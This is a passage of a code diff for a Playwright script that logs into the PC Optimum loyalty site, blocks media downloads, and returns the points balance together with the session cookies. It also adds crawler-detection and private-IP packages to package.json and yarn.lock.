+        /(\.png)|(\.jpg)|(\.svg)|(\.otf)|(\.woff2)|(\.ttf)|(\.mp3)/gi,
+        (route) => {
+            console.log(`Blocked ${route.request().url()}`);
+            route.abort();
+        }
+    );
 
     await page.goto("https://www.pcoptimum.ca/");
 
@@ -82,7 +98,12 @@ export async function login(email, password) {
         console.error(error.stack);
     }
 
+    let cookies = null;
+    try {
+        cookies = JSON.stringify(await context.cookies());
+    } catch (error) {}
+
     await browser.close();
 
-    return points;
+    return { points, cookies, options };
 }

+ 2 - 0
package.json

@@ -3,9 +3,11 @@
     "@fastify/static": "^7.0.1",
     "axios": "^1.6.7",
     "cheerio": "^1.0.0-rc.12",
+    "es6-crawler-detect": "^3.3.0",
     "fastify": "^4.26.2",
     "mysql2": "^3.9.2",
     "playwright": "^1.42.1",
+    "private-ip": "^3.0.2",
     "sequelize": "^6.37.1",
     "serve": "^14.2.1",
     "string-hash": "^1.1.3",

+ 35 - 0
yarn.lock

@@ -2,6 +2,11 @@
 # yarn lockfile v1
 
 
+"@chainsafe/is-ip@^2.0.1":
+  version "2.0.2"
+  resolved "https://registry.npmmirror.com/@chainsafe/is-ip/-/is-ip-2.0.2.tgz#7311e7403f11d8c5cfa48111f56fcecaac37c9f6"
+  integrity sha512-ndGqEMG1W5WkGagaqOZHpPU172AGdxr+LD15sv3WIUvT5oCFUrG1Y0CW/v2Egwj4JXEvSibaIIIqImsm98y1nA==
+
 "@fastify/accept-negotiator@^1.0.0":
   version "1.1.0"
   resolved "https://registry.npmmirror.com/@fastify/accept-negotiator/-/accept-negotiator-1.1.0.tgz#c1c66b3b771c09742a54dd5bc87c582f6b0630ff"
@@ -530,6 +535,11 @@ entities@^4.2.0, entities@^4.4.0:
   resolved "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
   integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
 
+es6-crawler-detect@^3.3.0:
+  version "3.3.0"
+  resolved "https://registry.npmmirror.com/es6-crawler-detect/-/es6-crawler-detect-3.3.0.tgz#3a05cd3f2739099145bf40b012a6ad472cbbfb49"
+  integrity sha512-ptGU13H76+HNr5n0kvi5aO+RuqRHaIET/60Srv4+BgVWsuVVf3x9seDhz/IEcmuQMXJvrU2g+DbrKVrliUkTJQ==
+
 escape-html@~1.0.3:
   version "1.0.3"
   resolved "https://registry.npmmirror.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
@@ -768,11 +778,21 @@ ini@~1.3.0:
   resolved "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
   integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
 
+ip-regex@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.npmmirror.com/ip-regex/-/ip-regex-5.0.0.tgz#cd313b2ae9c80c07bd3851e12bf4fa4dc5480632"
+  integrity sha512-fOCG6lhoKKakwv+C6KdsOnGvgXnmgfmp0myi3bcNwj3qfwPAxRKWEuFhvEFF7ceYIz6+1jRZ+yguLFAmUNPEfw==
+
 ipaddr.js@1.9.1:
   version "1.9.1"
   resolved "https://registry.npmmirror.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
   integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
 
+ipaddr.js@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmmirror.com/ipaddr.js/-/ipaddr.js-2.1.0.tgz#2119bc447ff8c257753b196fc5f1ce08a4cdf39f"
+  integrity sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==
+
 is-docker@^2.0.0:
   version "2.2.1"
   resolved "https://registry.npmmirror.com/is-docker/-/is-docker-2.2.1.tgz#33eeabe23cfe86f14bde4408a02c0cfb853acdaa"
@@ -983,6 +1003,11 @@ negotiator@0.6.3:
   resolved "https://registry.npmmirror.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd"
   integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
 
+netmask@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmmirror.com/netmask/-/netmask-2.0.2.tgz#8b01a07644065d536383835823bc52004ebac5e7"
+  integrity sha512-dBpDMdxv9Irdq66304OLfEmQ9tbNRFnFTuZiLo+bD+r332bBmMJ8GBLXklIXXgxd3+v9+KUnZaUR5PJMa75Gsg==
+
 npm-run-path@^4.0.1:
   version "4.0.1"
   resolved "https://registry.npmmirror.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea"
@@ -1101,6 +1126,16 @@ playwright@^1.42.1:
   optionalDependencies:
     fsevents "2.3.2"
 
+private-ip@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.npmmirror.com/private-ip/-/private-ip-3.0.2.tgz#1daf6052ee5cee53238616a377d6be180e9490ef"
+  integrity sha512-2pkOVPGYD/4QyAg95c6E/4bLYXPthT5Xw4ocXYzIIsMBhskOMn6IwkWXmg6ZiA6K58+O6VD/n02r1hDhk7vDPw==
+  dependencies:
+    "@chainsafe/is-ip" "^2.0.1"
+    ip-regex "^5.0.0"
+    ipaddr.js "^2.1.0"
+    netmask "^2.0.2"
+
 process-warning@^3.0.0:
   version "3.0.0"
   resolved "https://registry.npmmirror.com/process-warning/-/process-warning-3.0.0.tgz#96e5b88884187a1dce6f5c3166d611132058710b"